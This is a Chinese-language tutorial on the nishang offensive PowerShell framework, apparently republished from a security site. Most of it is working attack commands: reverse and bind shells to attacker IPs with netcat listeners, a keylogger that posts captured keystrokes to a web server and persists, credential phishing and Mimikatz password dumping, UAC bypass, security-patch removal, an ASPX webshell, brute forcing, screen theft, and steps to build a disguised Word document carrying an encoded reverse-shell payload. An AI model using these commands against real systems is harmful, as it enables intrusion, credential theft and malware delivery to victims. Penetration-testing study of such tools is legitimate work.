標籤:

PowerShell攻防進階篇:nishang工具用法詳解

導語:nishang,PowerShell下並肩Empire,Powersploit的神器。

開始之前,先放出個下載地址!

下載地址:samratashok/nishang

1.簡介

Nishang是一款針對PowerShell的滲透工具。說到滲透工具,那自然便是老外開發的東西。國人開發的東西,也不是不行,只不過不被認可罷了。不管是誰開發的,既然跟滲透有關係,那自然是對我們有幫助的,學習就好。來源什麼的都不重要。總之,nishang也是一款不可多得的好工具。非常的好用。

2.簡單的安裝與問題處理

先到github上去下載nishang,可以使用git命令直接下載,如果沒有裝的話下載zip文件,解壓之後就可以開始我們的學習之旅了。

導入之前加一句,nishang的使用是要在PowerShell 3.0以上的環境中才可以正常使用。也就是說win7下是有點小問題的。因為win7下自帶的環境是PowerShell 2.0

如果大家不知道自己的PowerShell環境是多少的版本。可以使用Get-Host命令來查看當前的版本。建議使用windows 10測試

既然是PowerShell框架,那自然是要導入的,然而,導入的時候還是會碰到一些比較麻煩的問題。對PowerShell比較熟悉的,看一眼就知道是什麼問題,但是不知道的就一臉蒙,百度都不知道怎麼百度。比如說:

我們在導入的時候經常會碰到的問題,(不只是nishang)

出現了報錯,我一直都不知道怎麼辦的,沒辦法,只能用過遠程文件下載來進行本地許可權繞過。

解決方法:

PowerShell默認的執行策略是Restricted,但是Restricted是不允許運行任何腳本的。你在PowerShell執行Get-ExecutionPolicy命令來查看默認的策略組。我們需要修改策略組,在PowerShell下執行Set-ExecutionPolicy remotesigned。再次導入,就導入成功了。(警告不需要理會)

因為警告不相信導入成功的,可以繼續執行命令來進一步驗證。

nishang的命令都被列出來了。執行一道命令行Get-Information。可以列出本機的信息

3.目錄結構

有經驗的童鞋看一眼就知道這個目錄是怎麼玩的了,雖然英文水平不怎麼滴,但是晚了這麼久看到這些目錄還是有一些熟悉感的

跟大家說個事情,150分的英語卷子,我得了27分。上面這些是我用google翻譯加蒙的。這都不重要。繼續往後看吧。主要是他後續的功能以及命令的使用。當導入nishang.psm1的時候,所有的模塊都直接可以被PowerShell讀到。當然,在滲透過程中,肯定不能直接把nishang的整個目錄賦值到人家的伺服器上。遠程下載的時候,了解目錄結構對我們尋找文件位置是很有幫助的~~

4.操作方法

忍不住的小夥子們,來來來,拿起紙和筆,記筆記,這是重點。

4.1信息搜集

看上面的目錄結構圖,就知道哪裡去找要用的東西了。挑一些好用的模塊來說

4.1.1 Check-VM

看名字就知道是幹嘛的了,檢測該主機是不是虛擬機

程序給了答覆,說本機器就是一個虛擬機。

4.1.2 Invoke-CredentialsPhish

這個腳本怎麼說,說是欺騙用戶,讓用戶輸入密碼,但是我覺得吧,這就是個十足的流氓。

為啥說是流氓了?不給正確密碼就不給關,你說流氓不,反正關不掉,只能強制幹掉進程。當然,如果成功了,還是很好用的

這樣還是可以的,哈~

4.1.3 Copy-VSS

Copy-VSS [文件地址] –默認是在當前文件夾下面

Copy-VSS [文件地址] -DestinationDir C:temp –保存文件到指定文件下

4.1.4 FireBuster FireListener

內網掃描,很洋氣的掃描器,本地開了監聽,然後遠程傳送數據

FireListener -PortRange 130-150nFireBuster 192.168.12.107 130-150 -Verbosen

4.1.5 Get-WLAN-Keys

由於本機器是台式電腦,並沒有無線網卡,所以不做演示。

4.1.6 Keylogger鍵盤記錄

講真,從來沒有見過這麼牛的鍵盤記錄模塊,這個模塊有必要看一下HELP深究一下,真的牛。

Get-Help .Keylogger.ps1 -fulln

一條一條說:

1:直接執行,他會顯示

之後,默認在Temp目錄下生成一個key.log文件

2:就是一句話命令行

-CheckURL去檢查設置的URL頁面中有沒有 -MagicString後的字元串,有的話停止,沒有的話繼續。。

3 : 將記錄的信息以POST形式發送到WEB伺服器上。

4:電腦重啟之後,繼續監聽。。

當監聽完成後,需要用Utility目錄下的Parse_Keys來解析key文件

Parse_Keys "C:UsersxxxAppDataLocalTempkey.log" "c:test.txt"n

總之-MagicString這後面就是密碼

-CheckURL 也一定要寫自己的,要不停不下來了

沒有設置persist的童鞋,關掉當前PowerShell,即刻停止

4.1.7 抓取用戶的明文密碼

Invoke-Mimikatz 不需要解釋的神器

4.1.8 HASH獲取

Get-PassHashes

4.1.9 獲取用戶的密碼提示信息

Get-PassHintsn

感覺沒什麼用,但是別小看這個功能,有的時候可以根據提示信息來生成密碼文件,大大提高爆破的成功率。還有的人會將明文密碼記錄在這個提示信息中。我曾經就是。。

4.2.0各式各樣的反彈

既然說是神器,那自然有牛的一面,各式各樣的shell,任由你反彈,跟msf一樣。

###TCP的shell

既然TCP,那就有正反向鏈接,先來反向鏈接(需要NC)

反向鏈接:

NC下執行 : nc -lvp 3333

在PowerShell下執行:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.12.110 -Port 3333

正向鏈接:

PowerShell下執行:Invoke-PowerShellTcp -Bind -Port 3333

NC下執行:nc -nv 192.168.12.103 3333

###UDP 的Shell

只是單純的將Invoke-PowerShellTcp改為Invoke-PowerShellUdp,其他命令。之後就是nc的命令改變了

正向連接:nc -nvu 192.168.12.103 3333

反向連接:nc -lup 3333

一波題外話,看不懂nc命令的童鞋:match command-line arguments to their help text

可以到這裡,命令可以解析,什麼都可以,不止是nc,linux命令都行

就是都是英文,不過比較簡單了

###HTTP/HTTPS的shell

HTTP:Invoke-PoshRatHttp -IPAddress 192.168.12.103 -Port 3333nHTTPS:Invoke-PoshRatHttps -IPAddress 192.168.12.103 -Port 3333n

執行完之後會生成一道命令,HTTP和HTTPS一樣,這裡我只演示是HTTP

將這道命令拖入cmd中執行,之後命令行消失,在本機Powershell下返回了一個會話

4.3 webshell

存放於nishangAntak-WebShell目錄下,就是一個ASPX的大馬,但是命令行是PowerShell,比單純的cmd強大很多。功能齊全,日aspx的站必備的東西

同樣需要賬號密碼,上傳下載,無所不能。

4.4 提權

滲透過程中,這裡應該是使用最多的地方了。

4.4.1 嘗試本地許可權提升

Enable-DuplicateToken

這個腳本在我們具有一定許可權的時候,可以幫助幫助我們獲得系統許可權。

4.4.2 Bypass UAC

Invoke-PsUACme 看名字就知道是幹嘛的了。繞過UAC嗎~,Nishang中給出的方法太全面了,GET-HELP來看看幫助信息

實例一: 使用Sysprep方法和默認的Payload執行

實例二: 使用oobe方法跟默認的payload執行

實例三: 使用oobe方法跟自製payload執行

這個模塊用的是UACME項目的DLL來Bypass UAC。所以,方法對照表

這只是官方給的例子,回過頭來看一眼上面的參數信息。

-Payloadpath指定一個payload路徑

-CustomDll64

指定一個dll文件,後兩位代表系統位數

-CustomDll32

嘗試本地Bypass UAC:

4.4.3 刪除補丁

刪除補丁,這是我見過最`厲害`的腳本,沒有之一。如此騷氣!

Remove-Update

實例一: 刪除全部補丁

實例二: 刪除全部的安全補丁

實例三: 刪除指定的補丁

這是刪除之前的補丁情況

嘗試刪除第一個補丁

成功刪除了第一個補丁。

4.5埠掃描,爆破

4.5.1: 埠掃描

來詳細說明下個個參數

可以使用 Get-Help Invoke-PortScan -full 查看幫助信息

-StartAddress 開始的IP地址

-EndAddress 結束的IP地址

-ResolveHost 是否解析主機名

-ScanPort要不要進行埠掃描

-Port 要掃描的埠(默認很多,看上圖)

-TimeOut 超時時間

對我本地區域網進行掃描:

Invoke-PortScan -StartAddress 192.168.250.1 -EndAddress 192.168.250.255 -ResolveHost

掃描中:

掃描結束:

4.5.2 弱口令爆破

Invoke-BruteForce

之前先說命令參數

-ComputerName 對應服務的計算機名

-UserList 用戶名字典

-PasswordList 密碼字典

-Service 服務(默認為:SQL)

-StopOnSuccess 匹配一個後停止

-Delay 延遲時間

有了上面的說明,這裡看到應該很清楚了。不在做過多的解釋。

4.6 嗅探

內網嗅探,動靜太大了,但是,實在沒辦法的時候,不得不說,這是一個辦法。

在靶機上執行:Invoke-Interceptor -ProxyServer 192.168.250.172 -ProxyPort 9999

監聽機器上執行:netcat -lvvp 9999

4.7 屏幕竊取

Show-TargetScreen

屏幕竊取,一樣正反向通吃

-IPAddress 後面加IP地址(反向鏈接需要)

-Port 加埠

-Bind 正向連接

反向鏈接竊取屏幕

靶機:Show-TargetScreen -Reverse -IPAddress 192.168.250.172 -Port 3333

攻擊機:netcat -nlvp 3333 | netcat -nlvp 9999

之後訪問攻擊機器的9999埠,就可以竊取到屏幕了

正向連接竊取屏幕

靶機執行:Show-TargetScreen -Bind -Port 3333

攻擊機執行:netcat -nv 192.168.250.37 3333 | netcat -lnvp 9999

之後同樣,訪問本機的9999埠,就能正常訪問了。

4.8 Client

Nishang可以生成各式各樣的客戶端。類型大概有

這麼多類型全都可以生成。選擇一種來說,其他的方法都是類似的。

打開nishangShellsInvoke-PowerShellTcpOneLine.ps1這個文件,複製第三行的內容。可以看到中間有一個TCPClient的參數,這裡就是遠程連接的地址了

更改這個地址和埠即可,之後進入命令行執行

Invoke-Encode -DataToEncode 你的代碼 -IsString -PostScript

執行完成之後會在當前目錄下生成兩個文件。一個是encoded.txt 另一個是encodedcommand.txt。之後執行

Out-Word -PayloadScript .encodedcommand.txt

就可以在我們當前文件夾下生成一個名為Salary_Details.doc的doc文件。之後使用nc監聽就好

說完了操作,回過頭來看看命令行參數

-Payload 後面直接加payload,但是注意引號的閉合

-PayloadURL 傳入遠程的payload進行生成

-PayloadScript 指定本地的腳本進行生成

-Arguments 之後加要執行的函數。(payload之中有的函數)

-OutputFile 輸出的文件名

-WordFileDir 輸出的目錄地址

-Recurse 在WordFileDir中遞歸尋找Word文件

-RemoveDocx 創建完成後刪除掉原始的文件

5.總結

看完之後肯定一臉懵逼,這都是啥。這麼複雜的語法,沒辦法,針對PowerShell的工具語法相對而言都比較複雜。而且,並沒有講解nishang的後門模塊,個人覺得不是那麼好用。還有一些反彈技巧並沒有詳細介紹,比如說什麼DNS反彈,ICMP反彈,WMI反彈。

有興趣的朋友可以自行研究,每一款工具針對不同的環境都能給我們帶來意想不到的效果。不用歸不用,但是到萬不得已用的時候,才是最噁心的,藝多不壓身嘛~

在研究過程中又碰到問題的,點我頭像給我留言,我看到的話會盡量幫忙的~

本文為 smileTT 原創稿件,授權嘶吼獨家發布,未經許可禁止轉載,如若轉載,請聯繫嘶吼編輯: PowerShell攻防進階篇:nishang工具用法詳解 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

給你安利這些效率工具 一個比一個好用
【瑾瑜·PS】人物雙重曝光
留學必備工具使用指南103:從選校到申請管理,小白也能搞定的申請工具
那些值得收藏的網頁工具匯總(Online)

TAG:PowerShell | 工具 |